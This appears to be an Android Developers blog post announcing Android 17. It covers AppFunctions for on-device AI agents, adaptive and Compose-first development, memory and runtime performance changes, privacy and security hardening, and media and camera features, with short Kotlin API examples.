<p>With deep integration between hardware, software and AI, we’re transforming Android from an operating system to an intelligence system. It's about delivering new helpful experiences that anticipate user needs, and it brings more opportunities for engagement with your apps. To that end, Android 17 expands the capabilities of AppFunctions, a platform API with a corresponding Jetpack library. It allows you to contribute your app's unique capabilities as orchestratable "tools" for Android MCP, the on-device equivalent of the <a href="https://modelcontextprotocol.io/">Model Context Protocol</a>. AI agents and assistants (like Google Gemini) can discover and execute AppFunctions to perform workflows on behalf of the user with direct access to the app's local state.</p>

<p>The Jetpack library, currently in alpha, makes adding AppFunctions as easy as annotating a class and adding KDoc comments.</p>

<pre><code>/**
 * A note app's [AppFunction]s.
 */
class NoteFunctions(
    private val noteRepository: NoteRepository
) {
    /**
     * Adds a new note to the app.
     *
     * @param appFunctionContext The execution context.
     * @param title The title of the note.
     * @param content The note's content.
     */
    @AppFunction(isDescribedByKDoc = true)
    suspend fun createNote(
        appFunctionContext: AppFunctionContext,
        title: String,
        content: String
    ): Note {
        return noteRepository.createNote(title, content)
    }
}</code></pre>

<p>We’ve also launched an <a href="http://github.com/android/skills/tree/main/on-device/appfunctions">AppFunctions agent skill</a> that analyzes your app’s key workflows, automatically generates the required Kotlin code, optimizes your KDocs for LLM tool-calling, and provides ADB commands for testing and debugging.</p>

<p>The Gemini integration is currently in a private preview with trusted testers, but you can begin preparing your apps now. In addition to ADB commands to execute your AppFunctions, we've provided a <a href="http://github.com/android/appfunctions/releases/initial">test agent app</a> that includes an interface to discover and execute your app functions and simulate an AI agent integration. Join our integration early access program at <a href="http://goo.gle/eap-af">goo.gle/eap-af</a> for a chance to be among the first apps to deploy AppFunctions to production.</p>

<h3>Adaptive-first</h3>
<p>Your users no longer rely on a single form factor; they transition between phones, foldables, tablets, laptops, automotive displays, and immersive XR environments. Now, with over <a href="https://developer.android.com/blog/posts/adaptive-development-for-the-expanding-android-ecosystem">580 million large screen devices</a> in the hands of users and the <a href="https://blog.google/products-and-platforms/platforms/android/meet-googlebook/">forthcoming launch of Googlebooks</a>, the next generation of ChromeOS built on the Android stack, adaptive is no longer just a technical goal. It’s a massive opportunity to reach highly engaged users, which is one of the reasons we're shifting to an <a href="https://developer.android.com/adaptive-apps">adaptive-first development standard</a>.</p>

<h2>No resizability/orientation restrictions on large screens</h2>
<p>To ensure apps deliver a premium experience across all form factors, including mobile devices running in desktop mode on connected displays, Android 17 (API level 37) removes the developer opt-out for orientation and resizability restrictions on <a href="https://developer.android.com/guide/topics/large-screens">large screen devices</a> (sw &gt; 600 dp) for apps targeting API level 37. The system will ignore legacy manifest attributes and runtime APIs, including screenOrientation, setRequestedOrientation(), resizeableActivity=false, and aspect ratio constraints (minAspectRatio/maxAspectRatio). Games (based on <a href="https://support.google.com/googleplay/android-developer/answer/9859673?hl=en">app category</a> in Google Play) remain exempt. Your app must be ready to adapt to any window size, respect the user's preferred device posture, and support free-form windowing natively.</p>

<h2>Next-gen multitasking: App Bubbles, Bubble Bar, and desktop interactive PiP</h2>
<p>Android 17 introduces powerful new windowing capabilities that redefine how users multitask, demanding even greater layout flexibility from your apps:</p>
<ul>
    <li><strong>App Bubbles:</strong> Moving beyond the messaging bubbles API, users can now transform any app into a floating bubble by long-pressing its icon on the launcher. This feature is available across phones, foldables, and tablets, enabling lightweight multitasking for any workflow.</li>
    <li><strong>The Bubble Bar:</strong> On large screens (tablets and foldables), the system taskbar now includes a dedicated Bubble Bar to organize, transition between, and dock these floating app bubbles.</li>
    <li><strong>Desktop interactive PiP:</strong> In desktop environments, Android 17 introduces interactive Picture-in-Picture (PiP). Unlike traditional PiP windows which are read-only, these pinned windows remain fully interactive while staying always-on-top of other application windows.</li>
</ul>

<div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg12FRQ31sUiyMj_ZalamTRI4VyI2tMXYKEoRy6b-u0Het272IDbRhznXot7b8AvFJEX-ubw_-pNxyS5JTKPUTBj1CNXwIYkTE906vembUcHeyGzE4Lb72WRyGNF7dOP_aBssNeCplOjEnKAc3d3hkak81LOpG0g9Hlep0AvC11MjdJ1MkqAp7ViUCu2bw/s1600/Bubbles%20(1).gif"><img border="0" data-original-height="1600" data-original-width="1544" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg12FRQ31sUiyMj_ZalamTRI4VyI2tMXYKEoRy6b-u0Het272IDbRhznXot7b8AvFJEX-ubw_-pNxyS5JTKPUTBj1CNXwIYkTE906vembUcHeyGzE4Lb72WRyGNF7dOP_aBssNeCplOjEnKAc3d3hkak81LOpG0g9Hlep0AvC11MjdJ1MkqAp7ViUCu2bw/s16000/Bubbles%20(1).gif"></a></div><p><i>App Bubbles and Bubble Bar in action</i></p>

<h2>Activity recreation updates</h2>
<p>To prevent disruptive state loss and stutter, Android 17 updates the default behavior for Activity recreation. The system will no longer restart activities by default for typical configuration changes that do not require a full UI redraw (including <a href="https://developer.android.com/reference/kotlin/android/content/pm/ActivityInfo#config_keyboard">CONFIG_KEYBOARD</a>, <a href="https://developer.android.com/reference/kotlin/android/content/pm/ActivityInfo#config_keyboard_hidden">CONFIG_KEYBOARD_HIDDEN</a>, <a href="https://developer.android.com/reference/kotlin/android/content/pm/ActivityInfo#config_navigation">CONFIG_NAVIGATION</a>, <a href="https://developer.android.com/reference/kotlin/android/content/pm/ActivityInfo#config_touchscreen">CONFIG_TOUCHSCREEN</a>, and <a href="https://developer.android.com/reference/kotlin/android/content/pm/ActivityInfo#config_color_mode">CONFIG_COLOR_MODE</a>).<br>
Instead, running activities will receive these updates via onConfigurationChanged(), enabling smooth transitions. If your application explicitly relies on a full restart to reload resources for these changes, you must now explicitly opt-in using the new <a href="https://developer.android.com/reference/kotlin/android/R.attr#recreateonconfigchanges">android:recreateOnConfigChanges</a> manifest attribute.</p>

<h2>Continue On</h2>
<p>Android 17 adds Continue On to help users seamlessly transition a task between Android devices. The user sees a suggestion for the most recently opened app from their mobile device in their tablet taskbar, providing a one-tap affordance to launch the app and deep-link where they left off. Continue on can support app-to-web transitions, including falling back to using the web if the app isn't installed.</p><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjc8K42DCZ0VTYpFhTlEazp9_AthhqYdm786k1NFolZrP7HwXk2QlF7UV1CU7ECK9N-CiHSfSbH_E2_cXwL3zUuesP-shpa1nau5QmVWDOQeErnCMtvZUw_wwAHNewZZ5S3811f0n_FNoX4U9kyptZQONM_eDB1AAHaoFjMFgTCC7G1d0X2iRo1MN8sev0/s1920/Continue%20On.png"><img border="0" data-original-height="1200" data-original-width="1920" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjc8K42DCZ0VTYpFhTlEazp9_AthhqYdm786k1NFolZrP7HwXk2QlF7UV1CU7ECK9N-CiHSfSbH_E2_cXwL3zUuesP-shpa1nau5QmVWDOQeErnCMtvZUw_wwAHNewZZ5S3811f0n_FNoX4U9kyptZQONM_eDB1AAHaoFjMFgTCC7G1d0X2iRo1MN8sev0/s16000/Continue%20On.png"></a><i>Handoff Suggestion on a Tablet</i></div><p><br></p>

<pre><code>class MyHandoffActivity : Activity() {

    ...

  override fun onCreate(savedInstanceState: Bundle?) {
    super.onCreate(savedInstanceState)
    // Do stuff
    ...
    // Enable handoff
    setHandoffEnabled(true, null)
  }

  // Override and implement onHandoffActivityDataRequested
  override fun onHandoffActivityDataRequested(handoffRequestInfo: HandoffActivityDataRequestInfo) : HandoffActivityData {
    // Create and return handoff data
  }
}</code></pre>

<h2>Go adaptive-first with Jetpack Compose</h2>
<p>To help you adapt your apps to meet the new Android 17 requirements, we've launched the <a href="https://github.com/android/skills/tree/main/jetpack-compose/adaptive">Jetpack Compose adaptive skill</a>. This AI-powered developer workflow helps you implement the best adaptive practices:</p>
<ul>
    <li><strong>Adaptive navigation:</strong> Automatically transition between bottom navigation bars on mobile and edge-anchored navigation rails on large screens using NavigationSuiteScaffold from the Material 3 Adaptive library.</li>
    <li><strong>Multi-pane layouts:</strong> Implement list-detail and supporting pane layouts natively using Navigation 3 Scenes (ListDetailSceneStrategy and SupportingPaneSceneStrategy) instead of fragile fragment transactions.</li>
    <li><strong>FlexBox &amp; Grid APIs:</strong> Utilize Compose 1.11's dynamic layout components to easily adjust row and column spans on the fly, ensuring your content always fills the space beautifully.</li>
    <li><strong>Advanced non-touch input:</strong> Leverage Compose 1.11's enhanced trackpad and mouse support, including native focus rings and new APIs (like TrackpadInjectionScope and performTrackpadInput) to easily test and deliver a true "laptop-class" experience on Googlebooks and Desktop Mode.</li>
    <li><strong>Dynamic window states:</strong> Leverage Compose's reactive state model to seamlessly adapt your UI when the app transitions from full screen to a floating App Bubble or an interactive Desktop PiP window, ensuring a premium experience even at minimal dimensions.</li>
</ul>

<h2>Android is Compose-first</h2>
<p>Compose offers the easiest way to build adaptive apps, and that's just one of the <a href="https://developer.android.com/develop/ui/compose/first#why-compose-first">many reasons</a> we believe that all Android UI should be built with Compose. To that end, <a href="https://developer.android.com/develop/ui/compose/first">Android development is now Compose-first</a>. All new Android APIs, libraries, tools, and developer guidance will be built exclusively for Jetpack Compose. Legacy View components (in the android.widget package) and View-based Jetpack libraries (like Fragments, RecyclerView, and ViewPager) are now in maintenance mode. They will receive only critical bug fixes, and no new features.</p>

<blockquote>
    <p><strong>TIP</strong><br>
    Ready to migrate? Use our AI-driven <a href="https://developer.android.com/develop/ui/compose/migrate/migrate-xml-views-to-jetpack-compose">XML to Compose Migration Skill</a> to automatically analyze your legacy View layouts and convert them into highly-adaptive Compose code.</p>
</blockquote>

<h3>Performance &amp; efficiency</h3>
<p>App performance means a smooth user interface, fast app start times, and efficient multitasking; Android 17 has impactful improvements in all of these areas.</p>

<h2>App memory limits</h2>
<p>Memory usage is one of the silent foundations of overall performance. When a foreground app or service grows unchecked, memory management spikes CPU and battery utilization and eventually leads to the termination of other well-behaved cached apps and background jobs, ultimately forcing slower cold starts and impaired multitasking. </p>

<p>Starting in Android 17, the system will enforce strict app memory limits based on a device's total RAM, abruptly terminating offending processes. New things to help you navigate these tighter requirements:</p>
<ul>
    <li><strong>R8 Optimizer:</strong> The R8 optimizer significantly reduces your app's bytecode memory footprint by shrinking classes, methods, and fields into shorter names, and stripping out unused code and resources. Use R8 in full mode along with the new <a href="https://developer.android.com/topic/performance/app-optimization/r8-configuration-analyzer">R8 configuration analyzer</a> to make sure your app is getting the most from R8.<div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiQePgjeISaotpA-miDPKel-qgAYtepLjMMBaiKZQqTf_iYRTJurn_iAFdC7utLnKRKAh9OhSjF_D83skA2PPg7xts0ORX7aVxBkoax6b9uEPqTlGiY_sh8Xv7U1pr0h4Nm8FLo-h3IJD8FhTJc-gOtpBwyLCnDBUPRJAuaaBjsIOhvUmTXFSna0ykksak/s2048/R8%20Configuration%20Analyzer.png"><img border="0" data-original-height="397" data-original-width="2048" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiQePgjeISaotpA-miDPKel-qgAYtepLjMMBaiKZQqTf_iYRTJurn_iAFdC7utLnKRKAh9OhSjF_D83skA2PPg7xts0ORX7aVxBkoax6b9uEPqTlGiY_sh8Xv7U1pr0h4Nm8FLo-h3IJD8FhTJc-gOtpBwyLCnDBUPRJAuaaBjsIOhvUmTXFSna0ykksak/s16000/R8%20Configuration%20Analyzer.png"></a></div></li></ul><div><span><u><br></u></span></div><div><span><u><br></u></span></div><div><br></div><div><br></div><div>The R8 Configuration Analyzer</div><ul><li><strong>LeakCanary in Android Studio Panda:</strong> The profiler now features native LeakCanary integration as a dedicated task, fully integrated with your IDE and source code.</li>
    <li><strong>ApplicationExitInfo:</strong> If your app is terminated by these limits, getDescription() from ApplicationExitInfo will return "MemoryLimiter:AnonSwap".</li>
    <li><strong>On-Device Anomaly Detection:</strong> Part of ProfilingManager, you can leverage trigger-based profiling using TRIGGER_TYPE_ANOMALY to automatically capture heap dumps when the memory limit is reached.</li>
</ul>

<pre><code>val profilingManager = applicationContext
   .getSystemService(ProfilingManager::class.java)

val triggers = ArrayList&lt;ProfilingTrigger&gt;().apply {
  add(ProfilingTrigger.Builder(
    ProfilingTrigger.TRIGGER_TYPE_ANOMALY).build())
}
profilingManager.addProfilingTriggers(triggers)</code></pre>

<p>And, we're working to surface more in-field memory metrics to you within Google Play Console.</p>

<h2>Generational garbage collection</h2>
<p><a href="https://developer.android.com/about/versions">Android 17</a> introduces more frequent, less resource-intensive young-generation collections to <a href="https://developer.android.com/guide/platform#art">ART</a>'s Concurrent Mark-Compact garbage collector (GC). By separating short-lived objects from stable, long-lived ones, the system runs frequent, lightweight "young-generation" sweeps rather than expensive full-heap scans, drastically reducing CPU usage, power drain, and UI stutter. Our testing has shown significant improvements in GC interference with application threads and a reduction in the maximum memory resident set size (RSS). ART improvements are also available to over a billion devices running Android 12 (API level 31) and higher through Google Play System updates.</p>

<h2>Lock-Free MessageQueue</h2>
<p>For apps targeting SDK 37 or higher, the core <a href="https://developer.android.com/reference/android/os/MessageQueue"><b>android.os.MessageQueue</b></a> now implements a lock-free architecture, significantly reducing missed frames, improving app startup time, and radically improving the performance of busy queues in multithreaded scenarios. Note: This can break apps that use reflection on private <a href="https://developer.android.com/reference/android/os/MessageQueue"><b>MessageQueue</b></a> fields and methods.  The <a href="https://developer.android.com/reference/android/os/TestLooperManager#peekWhen()"><b>peekWhen</b></a> and <b><a href="https://developer.android.com/reference/android/os/TestLooperManager#poll()">poll</a> </b>APIs have been added to <a href="https://developer.android.com/reference/android/os/TestLooperManager"><b>TestLooperManager</b></a> for instrumentation testing without relying on <a href="https://developer.android.com/reference/android/os/MessageQueue"><b>MessageQueue</b></a> internals.</p>

<h2>Static final fields now truly final</h2>
<p>Starting from Android 17, apps targeting SDK 37 or higher won’t be able to modify “static final” fields, allowing the runtime to apply performance optimizations more aggressively. An attempt to do so via reflection (or deep reflection) will lead to an IllegalAccessException being thrown. Modifying them via JNI’s <b><code>SetStatic&lt;Type&gt;Field</code></b> methods family will immediately crash the application.</p>

<h2>Custom notification view restrictions</h2>
<p>To reduce memory usage we are further restricting the size of <a href="https://developer.android.com/develop/ui/views/notifications/custom-notification">custom notification views</a>. This update closes a loophole that allows apps to bypass existing limits using URIs. This behavior is gated by the target SDK version and takes effect for apps targeting API 37 and higher.</p>

<h3>Privacy &amp; Security</h3>
<p>Maintaining user trust is at the heart of the Android ecosystem. Android 17 introduces robust features that protect sensitive data while simplifying user experiences.</p>

<h2>Privacy-preserving choices</h2>
<p>Historically, apps required broad, permanent permissions to access information like contacts, precise location and media files. Android 17 continues the shift toward privacy-preserving choices that grant temporary, session-based access only to the data the user explicitly selects:</p>
<ul>
  <li><strong>System-Level Contact Picker:</strong> Utilizing <code>ACTION_PICK_CONTACTS</code>, apps can request temporary access only to specific fields (e.g., email or phone number) chosen by the user, eliminating the need for the broad <code>READ_CONTACTS</code> permission. It also fully supports work/personal profile separation.</li>
    <li><strong>Customizable Photo Picker aspect ratio:</strong> Using<b><code>PhotoPickerUiCustomizationParams</code></b>, you can customize the system photo picker to show thumbnails in portrait mode. This is perfect for apps that always display photos and videos in portrait such as video based social media apps.</li>
    <li><strong>System-rendered Location Button:</strong> A new system-rendered location button that you can embed in your app grants precise location access for the current session only.</li>
    <li><strong>EyeDropper API:</strong> A new system-level API, <code>ACTION_OPEN_EYE_DROPPER</code>, allows your app to create a system-powered eyedropper enabling the user to select color from any pixel on the display. This provides a secure, privacy-preserving color-picking experience that eliminates the need for broad, sensitive screen capture or media projection permissions.</li>
</ul>

<pre><code>val eyeDropperLauncher = registerForActivityResult(ActivityResultContracts.StartActivityForResult()) { result -&gt;
   if (result.resultCode == Activity.RESULT_OK) {
       val color = result.data?.getIntExtra(Intent.EXTRA_COLOR, Color.BLACK)
       // Use the picked color in your app
   }
}
fun launchColorPicker() {
   val intent = Intent(Intent.ACTION_OPEN_EYE_DROPPER)
   eyeDropperLauncher.launch(intent)
}</code></pre>

<div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh8m_oR9WymjE9G26nGUCqdhS9GrBd6FXN3ujWbjq7ECD6OMGhS4xUApWkAWpPpRef7lwLhsRE2jYL9FADoF_FX2eMXD-0hp9JVaCzrDhfU8RYJ9qv-Ds9YIwyQK7yHKidW0oOtX1rpg2pG9x2yNp3UkGJDPqUlHX7hiLb-bvDue67FPZK1O-22SuXbO8I/s1267/Eyedropper%20Tester.webp"><img border="0" data-original-height="713" data-original-width="1267" height="360" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh8m_oR9WymjE9G26nGUCqdhS9GrBd6FXN3ujWbjq7ECD6OMGhS4xUApWkAWpPpRef7lwLhsRE2jYL9FADoF_FX2eMXD-0hp9JVaCzrDhfU8RYJ9qv-Ds9YIwyQK7yHKidW0oOtX1rpg2pG9x2yNp3UkGJDPqUlHX7hiLb-bvDue67FPZK1O-22SuXbO8I/w640-h360/Eyedropper%20Tester.webp" width="640"></a></div><h3><br></h3><h3><br></h3><h3><br></h3><h3><br></h3><h3><br></h3><h3><br></h3><h3><br></h3><h3><br></h3><h3><br></h3><h3><span><span face="Arial, sans-serif"><i>Picking a color from anywhere on the screen with the system EyeDropper</i></span></span></h3><h2>Local network access</h2>
<p>Apps targeting Android 17 now either require the <code><a href="https://developer.android.com/reference/kotlin/android/Manifest.permission#access_local_network">ACCESS_LOCAL_NETWORK</a></code> runtime permission or the use of system-mediated, privacy-preserving device pickers for local network communication, such as talking to smart home devices or casting receivers. Because <code>ACCESS_LOCAL_NETWORK</code>  falls under the existing <code><a href="https://developer.android.com/reference/android/Manifest.permission_group#NEARBY_DEVICES">NEARBY_DEVICES</a></code> permission group, users who have already granted other <code><a href="https://developer.android.com/reference/android/Manifest.permission_group#NEARBY_DEVICES">NEARBY_DEVICES</a></code> permissions will not be prompted again. </p>

<h2>SMS OTP protection</h2>
<p>Android 17 expands SMS one-time-password (OTP) protection by delaying access to SMS messages for three hours:</p>
<ul>
  <li>WebOTP Format: <a href="https://developer.android.com/about/versions/17/behavior-changes-all#sms-otp-all-apps">Delayed for all apps that are not the intended recipient (domain mismatch)</a>.</li>
  <li>Standard SMS OTP: <a href="https://developer.android.com/about/versions/17/behavior-changes-17#sms-otp-protection">Delayed for all apps targeting SDK 37+</a>.</li>
  <li>Exemptions: Default SMS, assistant, and connected companion apps are exempt. Apps are strongly encouraged to migrate to the <a href="https://developer.android.com/identity/sms-retriever">SMS Retriever</a> or <a href="https://developers.google.com/identity/sms-retriever/user-consent/overview">SMS User Consent APIs</a>.</li>
</ul>

<h2>Post-Quantum Cryptography (PQC)</h2>
<p>Android 17 is ready for the next generation of cryptographic security:</p>
<ul>
  <li>Keystore Integration: Supported devices can generate ML-DSA (Module-Lattice-Based Digital Signature Algorithm) keys in secure hardware to produce quantum-safe signatures, exposed via standard JCA APIs.</li>
  <li>Hybrid APK Signing: Introducing the v3.2 APK Signature Scheme, which combines classical signatures with ML-DSA signatures to secure app delivery.</li>
</ul>

<h2>Safer native dynamic code loading </h2>
If your app targets SDK 37 or higher, the Safer Dynamic Code Loading (DCL) protection <a href="https://developer.android.com/about/versions/14/behavior-changes-14#safer-dynamic-code-loading">introduced in Android 14</a> for DEX and JAR files now extends to native libraries. All native files loaded using System.load must be marked as read-only. Otherwise, the system throws UnsatisfiedLinkError

<h2>Smarter password protection for physical inputs</h2>
<p>With Android 17, we're making it safer to enter passwords, PINs, and other secrets when using a physical keyboard by no longer showing the last typed character by default.</p>
<p>Users can still easily customize these display settings to match their preferences (availability may vary by device manufacturer).</p>
<p>These enhanced privacy protections are automatically supported byAndroid's built-in SDK components and will be supported in Compose 1.12 for SecureTextFields. </p>

<h3><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgFjWXyRLybiLVAIrIm1_60XHXhPmpB1QEph7AuqsGHs-NihIDRFbUgBh32gUKxo30173W-RpEInX9hmYFVnW5V8ZqtM3n_CzxlT0B0PVQr0LSOuOi7x2kZgN_jHRRlYJ7bYInZllvUGNoA_SrXkNi5wwHvUghUcnl0Gsgx_-ts4QEHq_KdbEYgWCg92xA/s798/Hide%20First%20Letter.gif"><img border="0" data-original-height="449" data-original-width="798" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgFjWXyRLybiLVAIrIm1_60XHXhPmpB1QEph7AuqsGHs-NihIDRFbUgBh32gUKxo30173W-RpEInX9hmYFVnW5V8ZqtM3n_CzxlT0B0PVQr0LSOuOi7x2kZgN_jHRRlYJ7bYInZllvUGNoA_SrXkNi5wwHvUghUcnl0Gsgx_-ts4QEHq_KdbEYgWCg92xA/s16000/Hide%20First%20Letter.gif"></a></div></h3><h3><br></h3><h3><br></h3><h3><br></h3><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><i><div><i>Smarter password protection for physical inputs</i></div></i><div><br></div><h2>Media and camera features that empower creators and delight users
</h2><p>Android 17 introduces new <a href="https://blog.google/products-and-platforms/platforms/android/android-17-creator-features/">creator features</a> that give access to pro-quality cameras and media, all while improving the experience for consumers.</p>

<ul>
  <li><a href="https://developer.android.com/media/platform/integrate-eclipsa-video">Eclipsa Video</a>: HDR video standard built upon the <a href="https://github.com/SMPTE/st2094-50">SMPTE ST 2094-50 specification</a> that introduces new metadata to help devices adapt content for their display headroom and ambient light conditions, as well as improve the simultaneous display of standard and HDR content.</li>
  <li>RAW14 image format: New support for the <a href="https://developer.android.com/reference/kotlin/android/graphics/ImageFormat#raw14">RAW14 image format</a> provides a way for your professional camera app to capture the highest level of detail and color depth from compatible camera sensors.</li>
  <li>Vendor-defined camera extensions: Vendor-defined extensions enable hardware partners to define and implement custom camera extension modes, providing access to the best and latest camera features.</li>
  <li>Extended HE-AAC software encoder: A new system-provided Extended HE-AAC software encoder, supports both low and high bitrates using unified speech and audio coding, providing significantly better audio quality for voice messages in low-bandwidth conditions, including support for loudness metadata.</li>
  <li><a href="https://developer.android.com/guide/topics/media/media-formats#video-formats">Versatile Video Coding (H.266)</a>:  Enables OEMs to add codec support by defining the <a href="https://developer.android.com/guide/topics/media/media-formats#video-formats">video/vvc</a> MIME type in <a href="https://developer.android.com/reference/android/media/MediaFormat"><code>MediaFormat</code></a>, adding new VVC profiles in <a href="https://developer.android.com/reference/android/media/MediaCodecInfo"><code>MediaCodecInfo</code></a>, and integrating support into <a href="https://developer.android.com/reference/android/media/MediaExtractor"><code>MediaExtractor</code></a>.</li>
  <li>Camera device type: New APIs that query the underlying device type to identify if a camera is built-in hardware, an external USB webcam, or a virtual camera.</li>
  <li>Constant Quality for Video Recording: <a href="https://developer.android.com/reference/android/media/MediaRecorder#setVideoEncodingQuality(int)"><code>SetVideoEncodingQuality</code></a> in <a href="https://developer.android.com/reference/android/media/MediaRecorder"><code>MediaRecorder</code></a> configures a constant quality (CQ) mode for video encoders to ensure uniform visual fidelity across the entire video.</li>
</ul>

<h2>Better support for hearing aids</h2>
<ul>
  <li>Bluetooth LE Audio hearing aid support: Android now includes a specific device category for Bluetooth Low Energy (BLE) Audio hearing aids with the new <a href="https://developer.android.com/reference/android/media/AudioDeviceInfo#TYPE_BLE_HEARING_AID"><code>AudioDeviceInfo.TYPE_BLE_HEARING_AID</code></a> constant, so your app can distinguish hearing aids from regular headsets to provide a tailored experience for users with assistive listening devices.</li>
  <li>Granular audio routing for hearing aids: Android 17 allows users to independently manage where specific system sounds are played. They can choose to route notifications, ringtones, and alarms to connected hearing aids or the device's built-in speaker, helping to avoid unwanted in-ear interruptions while maintaining a Bluetooth connection for hearing aid management apps.</li>
</ul>

<h2>CameraX and  Media3</h2>
<p><a href="https://developer.android.com/jetpack/androidx/releases/camerax">CameraX</a> and <a href="https://developer.android.com/jetpack/androidx/releases/media3">Media3</a> have been updated for Android 17. They are there to do the heavy lifting, smoothing the rough edges of media development and simplifying building reliable camera capture,  smooth media playback, and creative and complex editing experiences. </p>

<p>We've released an <a href="https://github.com/android/skills/tree/main/camera">agent skill</a> that can migrate legacy Android camera implementations (Camera1 or raw Camera2 APIs) to CameraX.</p>
  
<p>Note: You'll need to update your CameraX version to either 1.5.2 or 1.6.0+ to avoid a crash related to an added dynamic range mode on Android 17 devices.</p>

<h3>Get your apps, libraries, tools, and game engines ready!</h3>
<p>If you develop an Android SDK, library, tool, or game engine, it's critical to prepare any necessary updates now to prevent your downstream app and game developers from being blocked by compatibility issues and allow them to target the latest SDK features. Please let your downstream developers know if updates are needed to fully support Android 17.</p>

<p>Testing involves installing your production app or a test app making use of your library or engine using Google Play or other means onto a device or emulator running Android 17 Beta 4. Work through all your app's flows and look for functional or UI issues. Each release of Android contains platform changes that improve privacy, security, and overall user experience; review the app impacting behavior changes for apps <a href="https://developer.android.com/about/versions/17/behavior-changes-all">running on</a> and <a href="https://developer.android.com/about/versions/17/behavior-changes-17">targeting</a> Android 17 to focus your testing, including the following:</p>
<ul>
  <li>Resizability on large screens: Once you target Android 17 (SDK 37), you can no longer opt out of maintaining orientation, resizability and aspect ratio constraints <a href="https://developer.android.com/about/versions/17/changes/ff-restrictions-ignored">on large screens</a>.</li>
  <li>Dynamic code loading: If your app targets SDK 37 or higher, the Safer Dynamic Code Loading (DCL) protection <a href="https://developer.android.com/about/versions/14/behavior-changes-14#safer-dynamic-code-loading">introduced in Android 14 </a>for DEX and JAR files now extends to native libraries. All native files loaded using System.load() must be marked as read-only. Otherwise, the system throws UnsatisfiedLinkError.</li>
  <li>Enable CT by default: <a href="https://developer.android.com/privacy-and-security/security-config#CertificateTransparencySummary">Certificate transparency (CT)</a> is enabled by default. (On Android 16, CT is available but apps had to <a href="https://developer.android.com/privacy-and-security/security-config#certificateTransparency">opt in</a>.)</li>
  <li>Local network protections: Apps targeting SDK 37 or higher have <a href="https://developer.android.com/privacy-and-security/local-network-permission#android-17-enforcement">local network access blocked by default</a>. Switch to using privacy preserving pickers if possible, and use the new <a href="https://developer.android.com/reference/kotlin/android/Manifest.permission#access_local_network"><b><code>ACCESS_LOCAL_NETWORK</code></b>permission for broad, persistent access.</a></li>
  <li>Background audio hardening: Starting in Android 17, the audio framework enforces <a href="https://developer.android.com/about/versions/17/changes/bg-audio">restrictions on background audio interactions</a> including audio playback, <a href="https://developer.android.com/media/optimize/audio-focus">audio focus</a> requests, and <a href="https://developer.android.com/reference/android/media/AudioManager#adjustStreamVolume(int,%20int,%20int)">volume change</a> APIs. Based on your feedback, we’ve made some changes since beta 2, including targetSDK gating while-in-use FGS enforcement and exempting alarm audio. Full details available in the <a href="https://developer.android.com/about/versions/17/changes/bg-audio">updated guidance</a>.</li>
  <li>NPU access declaration: Apps targeting Android 17 that need to directly access the NPU must declare <a href="https://developer.android.com/reference/kotlin/android/content/pm/PackageManager#feature_neural_processing_unit">FEATURE_NEURAL_PROCESSING_UNIT</a> in their manifest to avoid being blocked from accessing the NPU. This includes apps that use the <a href="https://ai.google.dev/edge/litert/next/npu">LiteRT NPU delegate</a>, vendor-specific SDKs, as well as the deprecated <a href="https://developer.android.com/ndk/guides/neuralnetworks">NNAPI</a>.</li>
</ul>

<h3>Get started with Android 17</h3>
<p>Your Pixel device should get Android 17 shortly if you haven't already been on the Android Beta. If you don’t have a Pixel device, you can <a href="https://developer.android.com/about/versions/17/get#on_emulator">use the 64-bit system images with the Android Emulator</a> in Android Studio. If you are currently on Android 17 Beta 4.1 and have not yet taken an Android 17 QPR1 beta, you can opt out of the program and you will then be offered the release version of Android 17 over the air.</p>
<h3>Getting the Android 17 beta on partner devices</h3>
<p>Android 17 is available in beta on handset, tablet, and foldable form factors <a href="https://developer.android.com/about/versions/17/devices">from partners</a> including Honor, iQOO, Lenovo, OnePlus, OPPO, Realme, Sharp, vivo, and Xiaomi.</p><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjy5cwRcpdR2j-1KMzQPpsxvIODRLlVkaFNQEIQoNaPQa4X4rgEna5imminlwFdcSJ3xihXdUSFouOC0-ZKyK1A53cBmoaU03au-FjfsqkPXm0tPLtOaWT_7z8tqnMmQjFOr-YIKeP3BMVq8Hmd7yH0zllW1aFMuiW6AAAcDUVL7aIyCAIZUs0d_0VMdF4/s1653/android-17-beta-partners.jpg"><img border="0" data-original-height="624" data-original-width="1653" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjy5cwRcpdR2j-1KMzQPpsxvIODRLlVkaFNQEIQoNaPQa4X4rgEna5imminlwFdcSJ3xihXdUSFouOC0-ZKyK1A53cBmoaU03au-FjfsqkPXm0tPLtOaWT_7z8tqnMmQjFOr-YIKeP3BMVq8Hmd7yH0zllW1aFMuiW6AAAcDUVL7aIyCAIZUs0d_0VMdF4/s16000/android-17-beta-partners.jpg"></a></div><br><h3><br></h3>

<p>For the best development experience with Android 17, we recommend that you use the latest Canary build of <a href="https://developer.android.com/studio/preview">Android Studio Quail</a>. Once you’re set up, here are some of the things you should do:</p>
<p>Test your current app for compatibility, learn whether your app is <a href="https://developer.android.com/about/versions/17/behavior-changes-all">affected by changes in Android 17</a>, and install your app onto a device or <a href="https://developer.android.com/studio/run/emulator">Android Emulator</a> running Android 17 and extensively test it.</p>

<p>Thank you again to everyone who participated in our Android developer preview and beta program. We're looking forward to seeing how your apps take advantage of the updates in Android 17, and have plans to bring you updates in a fast-paced release cadence going forward.</p>
<p>For complete information on Android 17 please visit the <a href="https://developer.android.com/about/versions/17">Android 17 developer site</a>.</p><br><br>]]></content:encoded>
</item>
<item>
<title><![CDATA[Matrix Tutorials #15 – Matrix on Kubernetes]]></title>
